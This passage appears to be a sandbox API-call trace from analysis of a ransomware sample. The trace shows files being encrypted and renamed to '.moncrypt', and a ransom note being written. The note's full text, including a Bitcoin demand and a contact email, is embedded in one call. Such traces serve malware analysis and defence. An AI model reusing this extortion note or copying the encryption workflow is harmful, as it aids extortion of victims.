[0051.705] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x19539 [0051.705] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.705] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.710] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.711] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.711] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.711] GlobalUnlock (hMem=0x44000c) returned 0 [0051.711] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0051.711] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.711] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.711] GlobalUnlock (hMem=0x44000c) returned 0 [0051.711] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.711] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.711] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.711] GlobalUnlock (hMem=0x440004) returned 0 [0051.712] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.712] GlobalUnlock (hMem=0x44000c) returned 0 [0051.712] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.712] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.712] GlobalUnlock (hMem=0x44000c) returned 0 [0051.712] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.712] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.712] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.712] GlobalUnlock (hMem=0x44000c) returned 0 [0051.712] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.712] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.712] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.712] SetFilePointer (in: hFile=0x18c, lDistanceToMove=103737, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x19539 [0051.712] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.712] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.712] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.759] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.760] CloseHandle (hObject=0x18c) returned 1 [0051.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.761] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.761] CloseHandle (hObject=0x18c) returned 1 [0051.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0051.762] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.762] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.762] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.762] GlobalUnlock (hMem=0x44000c) returned 0 [0051.762] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.762] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.762] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.762] GlobalUnlock (hMem=0x44000c) returned 0 [0051.762] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.762] GlobalUnlock (hMem=0x440004) returned 0 [0051.762] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a198, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.763] GetLastError () returned 0x2 [0051.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.769] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0051.770] CloseHandle (hObject=0x18c) returned 1 [0051.770] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0051.770] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.770] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.771] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.771] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.771] GlobalUnlock (hMem=0x440004) returned 0 [0051.771] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.771] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.771] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.771] GlobalUnlock (hMem=0x440004) returned 0 [0051.771] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.771] GlobalUnlock (hMem=0x44000c) returned 0 [0051.771] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.771] CharLowerBuffW (in: lpsz="EXPEDITN.INF", cchLength=0xc | out: lpsz="expeditn.inf") returned 0xc [0051.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpUsedDefaultChar=0x0) returned 77 [0051.772] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0051.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", lpUsedDefaultChar=0x0) returned 4 [0051.772] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.772] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.772] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.772] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.772] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.772] GlobalUnlock (hMem=0x44000c) returned 0 [0051.772] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.772] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.772] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.772] GlobalUnlock (hMem=0x44000c) returned 0 [0051.772] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.772] GlobalUnlock (hMem=0x440004) returned 0 [0051.772] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.772] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0051.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 76 [0051.773] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0051.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\EXPEDITN\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 4 [0051.773] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0051.773] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.773] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.773] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.773] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.773] GlobalUnlock (hMem=0x440004) returned 0 [0051.773] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.773] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.773] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.773] GlobalUnlock (hMem=0x440004) returned 0 [0051.774] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.774] GlobalUnlock (hMem=0x44000c) returned 0 [0051.774] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.774] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0051.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 77 [0051.774] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0051.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0051.775] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0051.775] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | 